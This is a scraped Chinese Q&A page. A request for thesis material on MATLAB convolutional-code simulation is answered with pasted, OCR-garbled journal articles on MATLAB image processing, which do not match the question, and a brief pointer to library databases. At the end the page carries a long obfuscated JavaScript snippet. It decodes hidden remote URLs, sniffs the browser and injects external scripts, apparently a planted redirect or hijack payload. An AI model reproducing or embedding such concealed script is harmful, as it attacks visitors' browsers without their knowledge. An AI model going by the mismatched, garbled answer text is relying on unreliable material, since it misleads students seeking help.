急需《基于MATLAB的卷积码计算机仿真》毕业论文资料!

2025-02-28 07:10:22
推荐回答(2个)
回答1:

  matlab论文

  作者:佚名 转贴自:本站原创 点击数:21256 更新时间:2005-6-20 文章录入wuzechun

  基于MATLAB 的图像处理与分析
  X
  何希平1 , 张琼华2
  (1. 重庆工商大学实验实习中心,重庆400033 ; 2. 重庆工商大学图书馆,重庆400033)
  摘 要:介绍了MATLAB 图像处理工具箱中的函数,给出了图像处理与分析的技术实现,如
  用直方图均衡进行图像增强,通过形态学方法进行图像特征抽取与分析,借助于分水岭图像分
  割实现目标检测等。
  关键词:灰度图像;形态学变换;标记;分割;特征抽取
  中图分类号:TP 317. 4 文献标识码:A
  MATLAB6. 1(R12. 1) 是一套功能十分强大的工程计算及数据分析软件,其应用范围涵盖了数学、工业
  技术、电子科学、医疗卫生、建筑、金融、数字图像处理等各个领域。许多工程师和研究人员发现,MATLAB
  能迅速测试其构思,综合评测系统性能,并能借此快速设计出更多的解决方案,达到更高的技术要求。
  MATLAB 的图像处理工具箱,功能十分强大,支持的图像文件格式丰富,如3 . BMP , 3 . JPG, 3 . JPEG,
  3 . GIF , 3 . TIF , 3 . TIFF , 3 . PNG, 3 . PCX , 3 . XWD , 3 . HDF , 3 . ICO , 3 . CUR 等。利用MATLAB 所提

  理函数,并给出用MATLAB 实现图像处理与分析的应用技术实例。
  1 MATLAB 的图像处理工具概述
  MATLAB6. 1(R12. 1) 提供了20 类图像处理函数,涵盖了图像处理的包括近期研究成果在内的几乎所
  有的技术方法,是学习和研究图像处理的人员难得的宝贵资料和加工工具箱。这些函数按其功能可分
  为:图像显示;图像文件I/ O ;图像算术运算;几何变换;图像登记;像素值与统计;图像分析;图像增强;线
  性滤波;线性二元滤波设计;图像去模糊;图像变换;邻域与块处理; 灰度与二值图像的形态学运算;结构
  元素创建与处理;基于边缘的处理; 色彩映射表操作;色彩空间变换;图像类型与类型转换。
  2 应用MATLAB 工具箱进行图像分析处理
  2. 1 用直方图均衡实现图像增强
  当图像对比度较低,即灰度直方图分布区间较窄时,可用直方图均衡实现灰度分布区间展宽而达到
  图像增强的效果。下面是实现的源程序及相关功能的注解:
  %源程序:test1. m
  X 收稿日期:2003 - 02 - 27 ;修回日期:2003 - 03 - 30
  作者简介:何希平(1968 - ) ,男,四川人,博士生,重庆工商大学副教授,从事多媒体数据压缩、网络信息系统研究。
  . 1995-2005 Tsinghua Tongfang Optical Disc Co., Ltd. All rights reserved.
  clear , close all %清除所有内存变量、图形窗口
  I = imread(’pout. tif’)
  ; %将图像文件pout. tif 的图像像素数据读入矩阵I
  imshow( I) %显示图像I ,图像对比度低,如图1a
  figure , imhist ( I) %在新图形窗口中显示图像I 的直方图,如图1c。可以注意到图像
  %亮度范围相当狭窄,并未完全覆盖可能的范围[0 ,255 ]
  I2 = histeq( I) ; %对图像I 做直方图均衡补偿在整个范围内展宽亮度值并输出到矩阵I2 ,因而改进了图像I 的对
  比度
  figure , imshow( I2) %在新图形窗口中显示新图像I2 , 如图1b
  figure , imhist ( I2) %在新图形窗口中显示图像I2 的直方图, 如图1d
  imwrite ( I2 , ’pout2. png’)
  ; %将对比度调节的结果图像写入PNG格式的文件
  a 原图 b 直方图均衡结果图 c 原图像的直方图 d 结果图像的直方图
  图1 直方图均衡补偿消去图像噪声
  程序运行后,可得如图1 的对比图像。
  2. 2 用形态学方法进行图像处理与分析
  以rice. tif 为图像实例,介绍用形态学方法对灰度图像进行处理与分析的技术要点,即对灰度图像进
  行如下操作:去除图像的不均匀背景;用设置阈值的方法(thresholding) 将结果图像转换成二值图像;通过
  成分标记(components labeling) 返回图像中的目标对象属性,并计算目标对象的统计数字特征。其算法步
  骤描述如下:
  (1) 用工具箱函数imread 和imshow 读取和显示8 位灰度图,如图2a 。
  (2) 用形态学开运算(Morphological Opening) 估计背景。通过调用imopen 并对输入图像I 执行形态学
  开运算, 取半径为15 的圆盘结构元素,且结构元素通过函数strel 建立。形态学开运算有消除不能完全包
  含在半径为15 的圆盘内的目标对象的作用。注意到图像(如图2b) 中央的背景照度(background illumina2
  tion) 比底部要亮。
  (3) 用surf 指令察看背景图像。用Surf 指令创建近似背景的彩色表面图(如图2c) ,使人可以看到在
  一个矩形区域上的数学函数特征。在表面图中,[0 , 0 ] 表示原点, 或图像左上角,曲面图最高部分表示背
  景的最亮像素(从而rice. tif 的背景的最亮像素出现在图像中央行的附近,而最暗像素出现在图像的底
  部) 。
  (4) 从原图像中减去背景图像。须用图像处理工具箱的图像算术函数imsubtract 产生均匀的背景(如
  图2d) 。
  (5) 调节图像对比度。用imadjust 指令增大图像对比度(如图2e) 。imadjust 函数需要一个输入图像且
  也可带两个矢量: [ low high ] 和[ bottom top ] . 输出图像通过将输入图像中low 值映射到输出图像中的bot2
  tom 值、high 值映射到输出图像中的top 值,并将low 与high 间的值进行线性缩放而产生。
  (6) 对图像进行阈值处理。先调用graythresh ,自动计算一个适当的阈值;然后使用graythresh 返回的
  阈值,调用im2bw 执行阈值处理,将灰度图像转换成二值图像(如图2f) 。
  (7) 确定图像中的目标对象并予以标记。调用bwlabel 寻找连通成份而且用惟一的数字将他们分类
  标记。bwlabel 接受一个二值图像和指定各目标对象的连通性的值(4 或8 ,表示4 或8 连通) 作为输入。
  注意: 结果的准确性依赖于许多因素,包括: 目标对象的大小; 近似背景的准确程度; 是否设定连接
  3 2 第2 期 何希平等: 基于MATLAB 的图像处理与分析
  . 1995-2005 Tsinghua Tongfang Optical Disc Co., Ltd. All rights reserved.
  a 原图b 背景
  性参数为4 或8 ; 是否任何目标对象均相接(在
  这种情况下他们可能被标记为同一目标对象) ;
  在该实例中, rice 的一些谷粒正好相接,因
  此bwlabel 把它们视为了同一目标对象。
  (8) 查看标记矩阵。看一看bwlabel 产生的
  标记的近似形状是有用的。调用imcrop 并用鼠
  标选择包含某一目标对象的一部分及其一些背
  景的部分图,则所选部分图的像素值会在MAT2
  LAB 窗口中返回。若查看上面的结果,你会看到
  c 背景的表面图d 原图与背景的差
  一个对象的一角标以某数字标记k ,这意味着它
  是第k 个被bwlabel 分类的目标对象。imcrop 函
  数也可带矢量指定剪裁矩形的坐标。在这种情
  况下,它不执行交互式操作。举例来说,
  rect = [15 25 10 10 ] ; roi = imcrop (labeled ,
  rect)
  这个调用指定一个剪裁矩形的左上角坐标
  始于(15 ,25) ,而且高度和宽度均为10 。
  一种查看标记矩阵的好方法是将它显示成
  e 图像对比度调节结果 f 阈值处理后的二值图
  一种假彩色索引图像(如图2g) 。在假彩色索引
  图像中,将标记矩阵中区分每一对象的数字映射
  成了相关色彩映射矩阵中的一种不同的颜色。
  当把一个标记矩阵看成一个RGB 图像时,图像
  中的对象是比较容易区别的。为此, 使用la2
  bel2rgb 函数。使用该函数时,可以指定色彩映
  射表,背景颜色,以及标记矩阵中的对象如何映
  射为色彩映射表中的颜色。
  (9) 测量图像中的对象属性。regionprops 指
  令可测量图像中的对象或区域的属性,并返回一
  g 假彩色标记图h 谷粒大小分布图
  图2 形态学图像处理的对比分析结果
  个结构数组。当将其作用于一个图像成分的标
  记矩阵时,它为每个成分建立一个结构元素,而
  每一结构元素包含一个标记成分的一些基本属
  性。regionprops 函数支持对许多不同的属性予以
  测量, 但是设定属性参数为’basic’旨在返回最
  常用的三个量: 面积(Area) , 质心或块中心
  (Centroid) 和边框(BoundingBox) 。边框Bounding2
  Box 表示能容纳一个区域(所举实例中的谷粒)
  的最小长方形, 为四元素矢量: [ left top width
  height ] 。
  (10) 在图像中计算目标对象的统计特性。使用MATLAB 函数max , mean , 和hist 可计算被阈值处理
  的目标对象的一些统计属性(如图2h) 。图像处理工具箱也有一些统计函数,如mean2 和std2 ,适用于图像
  数据,因为他们对二维空间的数据返回单一值。
  下面是算法实现的程序代码:
  %程序代码:test2. m
  clear , close all ,I = imread(’rice. tif’)
  ; imshow( I) %读取和显示8 位灰度图rice. tif
  4 2 重庆工商大学学报 (自然科学版) 第20 卷
  . 1995-2005 Tsinghua Tongfang Optical Disc Co., Ltd. All rights reserved.
  background = imopen( I ,strel (’disk’,15) ) ; %取半径为15 的圆盘结构元素对图像用开运算估计背景
  figure ,imshow(background) %显示背景图
  figure , surf (double (background (1 :8 : end ,1 :8 : end) ) ) ,zlim( [ 0 255 ]) ; %显示背景的彩色表面图,对8 ×8 格点取样set
  (gca ,’ydir’,’reverse’)
  ;
  I2 = imsubtract ( I ,background) ; figure , imshow( I2) %从原图像中减去背景图像,并显示结果图
  I3 = imadjust ( I2 , stretchlim( I2) ,[0 1 ]) ;figure , imshow( I3) ; %调节图像对比度,并显示结果图
  level = graythresh( I3) ;bw = im2bw( I3 ,level) ; figure , imshow(bw) %将灰度图像转换成二值图像
  [ labeled ,numObjects ] = bwlabel(bw ,4) ; % 成分标记,4 具体指定4 - 连通成分.
  grain = imcrop (labeled) % 用鼠标选取实现交互式剪裁标记成分的一部分
  RGB-label = label2rgb(labeled , @spring , ’c’, ’shuffle’)
  ; %把一个标记矩阵转换成一个RGB 图像
  figure ,imshow(RGB-label) ;
  graindata = regionprops(labeled ,’basic’)
  %调用regionprops ,为rice 的每一经阈值处理
  %的谷粒返回一个基本属性的结构。由BoundingBox 的域返回四元素矢量: [ left top width height ]。
  graindata (51) . Area , graindata(51) .BoundingBox , graindata(51) . Centroid
  allgrains = [graindata. Area ] %用点号存取graindata 的所有元素的面积域并将该数据存入
  %新的矢量allgrains。这个步骤简化了对面积量的分析,因为不必使用域名存取面积。
  max(allgrains) %找最大谷粒的大小。allgrains 中的数据是一维的, 故函数mean 和std 是适用的。
  biggrain = find(allgrains = = ans) %使用find 指令返回该最大谷粒的成分标记
  mean(allgrains) %求平均粒径
  hist (allgrains ,20) %作包含20 个方柱的显示谷粒大小分布的直方图。直方图表明,在rice 图像中谷粒最通常的
  %大小在300 到400 个像素的范围内(如图2h) 。
  2. 3 用分水岭分割法检测连通目标
  在一个图像中检测目标是图像分割的一个例子。为分割连通目标,时常用Watershed 变换。如果把一
  幅图像看做一个具有山(高亮度) 和低谷(低亮度) 的表面,那么这个变换在一幅图像中找亮度低谷。实
  现包括下列步骤:
  (1) 读图像。读入图像afmsurf . tif , 它是一幅原子能显微镜下的衣料表面图像(如图3a) 。
  (2) 对比度最大化。注意到图像中有许多彼此连通的不同大小的对象。为使通过watershed 变换找到
  的低谷数目最小,我们使感兴趣的对象的对比度达到最大。对比度增强的一个常用的技术是综合应用top
  - hat 和bottom - hat 变换。
  top - hat 变换定义为原图像和它的开之差。图像的开是一与特定结构元素匹配的图像前景部分的集
  合(如图3b) 。bottom - hat 变换定义为在原图像和它的闭之间的差。图像的闭是一与特定结构元素匹配的
  图像背景的集合(如图3c) 。
  通用的结构元素是正方形,长方形,圆盘,菱形,球和线。既然图像中我们感兴趣的目标对象看起来像
  圆盘,我们用strel 函数建立一个半径为15 个像素的圆盘形结构元素。这个圆盘尺度是图像中的目标对象
  的平均半径的一个估计。
  (3) 图像相加减。看到top - hat 图像含有与结构元素匹配的对象的”巅峰”。相反,bottom - hat 图像
  显示出感兴趣的目标对象之间的间隙。为使目标对象与分隔它们的间隙之间的对比达到最大,用“原图
  + top - hat 图像- bottom - hat 图像”得到增强的结果图(如图3d) 。
  (4) 转换感兴趣的对象。调用watershed 变换找出图像的亮度”低谷”,把imcomplement 函数作用于增
  强过的图像上,将感兴趣的目标对象转换为亮度低谷,得到增强图的补图(如图3e) 。
  (5) 检测亮度低谷。对所得补图运用imextendedmin 函数检测低于某特别阈值的所有亮度低谷。
  imextendedmin 函数的输出是一个二值(逻辑值) 图像(如图3f) 。二值图像中重要的是区域的位置而非区域
  的大小。用imimposemin 函数把补图改为只含有那些由imextendedmin 函数找到的低谷,并将低谷的像素值
  变为0 (8 位图像可能的深谷) (如图3g) 。
  (6) Watershed 分割。通过watershed 变换,可找出来所有含有强加给最小值的区域。用watershed 函数
  实现Watershed 分割。watershed 函数返回一个标记矩阵,它含有对应于watershed 区域的非负数。凡未落入
  5 2 第2 期 何希平等: 基于MATLAB 的图像处理与分析
  . 1995-2005 Tsinghua Tongfang Optical Disc Co., Ltd. All rights reserved.
  图3 用Watershed 分割法检测连通
  目标的图像渐近过程
  任何watershed 区域的像素均被赋予像素值0。用label2rgb
  把一个标记矩阵变为一幅图像(如图3h) 。
  (7) 从标记矩阵中抽取目标对象的特征。可用region2
  props 函数从标记矩阵中抽取特征。比如说,可以计算两个
  量(面积和方向) 并把他们看成彼此的一个函数。
  下面给出算法的实现代码:
  %程序代码:test3. m
  afm = imread (’afmsurf . tif’)
  ; figure , imshow(afm) , title (’surface im2
  age’)
  ;se = strel (’disk’, 15) ;
  Itop = imtophat (afm , se) ; figure , imshow( Itop , [ ]) , title (’top - hat im2
  age’)
  ;
  Ibot = imbothat (afm , se) ; figure , imshow( Ibot , [ ]) , title (’bottom - hat
  image’)
  ;
  Ienhance = imsubtract (imadd ( Itop , afm) , Ibot) ; figure , imshow( Ien2
  hance) , title (’original + top - hat - bottom - hat’)
  ;
  Iec = imcomplement ( Ienhance) ; figure , imshow( Iec) , title (’complement
  of enhanced image’)
  ;
  Iemin = imextendedmin( Iec , 22) ; figure , imshow( Iemin) , title (’extend2
  ed minima image’)
  ;
  Iimpose = imimposemin ( Iec , Iemin) ; figure , imshow( Iimpose) , title ( ’
  imposed minima image’)
  ;
  wat = watershed( Iimpose) ;rgb = label2rgb(wat) ; figure , imshow(rgb) ;
  title (’watershed segmented image’)
  ;
  stats = regionprops (wat , ’Area’, ’Orientation’)
  ; area = [ stats ( :) .
  Area ] ; orient = [ stats( :) . Orientation] ;
  figure , plot (area , orient , ’b 3 ’)
  ; title (’Relationship of Particle Orienta2
  tion to Area’)
  ;
  xlabel (’particle area (pixels) ’)
  ; ylabel (’particle orientation (degrees) ’)
  ;
  参考文献:
  [1 ] 孙兆林.MATLAB 6. x 图像处理[M] . 北京:清华大学出版社,2002
  [2 ] 崔屹. 图像处理与分析———数学形态学方法及其应用[M] . 北京:科学出版社,2000
  [3 ] 张远鹏,董海,周文灵. 计算机图像处理技术基础[M] . 北京:北京大学出版社,1996
  Image processing and analysis based on MATLAB
  HE Xi - ping1 , ZHANG Qiong - hua2
  (1. Center of Experiment and Practice ,ChongQing Technology and Business University ,ChongQing 400033 ,China ;
  2. Library , ChongQing Technology and Business University , ChongQing 400033 ,China)
  Abstract :This paper first introduces the functions of MATLAB image processing toolbox , then presents some
  techniques in image processing and analysis , such as image enhancement by using histogram equalization , image fea2
  ture extracting and analysis with morphological methods , and objects detection through watershed image segmentation.
  Key words : grayscale intensity image ; morphological transform; labeling ; segmentation ; feature extraction
  责任编辑:杨祖彬
  6 2 重庆工商大学学报 (自然科学版) 第20 卷
  . 1995-2005 Tsinghua Tongfang Optical Disc Co., Ltd. All rights reserved.

  收稿日期:2002208224
  MATLAB 及其在图像处理中的应用
  许志影,李晋平
  (中国矿业大学资源学院,江苏徐州 221008)
  摘要: 介绍了MATLAB 的特点和功能,分析了MATLAB 在图像处理中的应用,并结合实例说明了MATLAB 在图像处理中
  关键词: MATLAB ; 图像处理; 边缘提取
  中图分类号: TN911. 73 文献标识码: A
  MATLAB and Its Application to Digital Image Processing
  XU Zhi2ying ,LI Jin2ping
  (School of Resource & Geoscience ,China University of Mining and Technology ,Xuzhou 221008 ,China)
  Abstract :Introduces properties and functions of MATLAB ,and analyses its applications to digital image processing ,finally ,displays the a2
  bility of MATLAB in image processing with an example.
  Keywords :MATLAB ;image processing ;edge detection
  MATLAB 软件由美国Math Works 公司于1984 年
  推出,历经十几年的发展和竞争,现已成为( IEEE) 国
  际公认的最优秀的科技应用软件之一。作为一个跨
  平台的软件,MATLAB 已推出Unix、Windows 9x/ NT、
  Linux 和Mac 等十多种操作系统平台下的版本,大大
  方便了在不同操作系统平台下的研究工作。目前基
  于Windows 系统的最新版本已上升到MATLAB6. 5 ,它
  继承了以往版本的优点,非常容易使用。
  现在,MATLAB 已经发展成为一个系列产品:
  MATLAB 主包和各种工具箱(TOOLBOX) 。目前已经
  推出了30 多个工具箱,这些工具箱可分为两大类:功
  能性工具箱和学科性工具箱。功能性工具箱主要用
  来扩充其符号计算功能、图示建模仿真功能、文字处
  理功能以及硬件实时交互功能,能用于多种学科。而
  学科性工具箱是专业比较强的,如控制工具箱、信号
  处理工具箱、图像处理工具箱和小波工具箱等多个学
  科的专业工具箱。借助于这些工具箱,各个层次的研
  究人员就可方便地进行研究工作,提高工作效率。
  本文将简要介绍MATLAB6. 5 及其在图像处理中
  的应用,希望对从事图像处理工作的研究人员有所帮
  助。
  1 MATLAB 概述
  MATLAB 最初是作为矩阵实验室(Matrix Labora2
  tory) 用来提供通往LINPACK和EISPACK矩阵软件包
  接口的。后来,它逐渐发展成为通用科技计算和图视
  交互系统的程序语言,其数据的基本单元是矩阵。它
  的指令表达与数学、工程中常用的习惯形式十分相
  似,从而使许多用C 或Fortran 实现起来十分复杂和
  费时的问题用MATLAB 就可以轻松地解决。MAT2
  LAB 的典型应用包括:数学计算、算法研究、数据分析
  和计算结果可视化、建模与仿真等。
  1. 1 MATLAB的特点
  MATLAB 有三大特点:一是功能强大。主要包括
  数值计算和符号计算、计算结果和编程可视化、数学
  和文字统一处理、离线和在线计算。二是界面友好,
  编程效率高。MATLAB 是一种以矩阵为基本单元的
  可视化程序设计语言,语法结构简单,数据类型单一,
  指令表达与标准教科书的数学表达式相近。三是开
  放性强。MATLAB 有很好的可扩充性,可以把它当成
  一种更高级的语言去使用。使用它很容易编写各种
  通用或专用应用程序。
  1. 2 MATLAB的主要功能
  MATLAB 之所以成为世界顶级的科学计算与数
  学应用软件,是因为它随着版本的升级与不断完善而
  具有愈来愈强大的功能。

  我的回答超过数字没办法

回答2:

毕业论文资料,学校图书馆(网上)的期刊论文数据库很多啊,都是正式的论文。
论文不难写,主要是把毕业设计搞出来。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 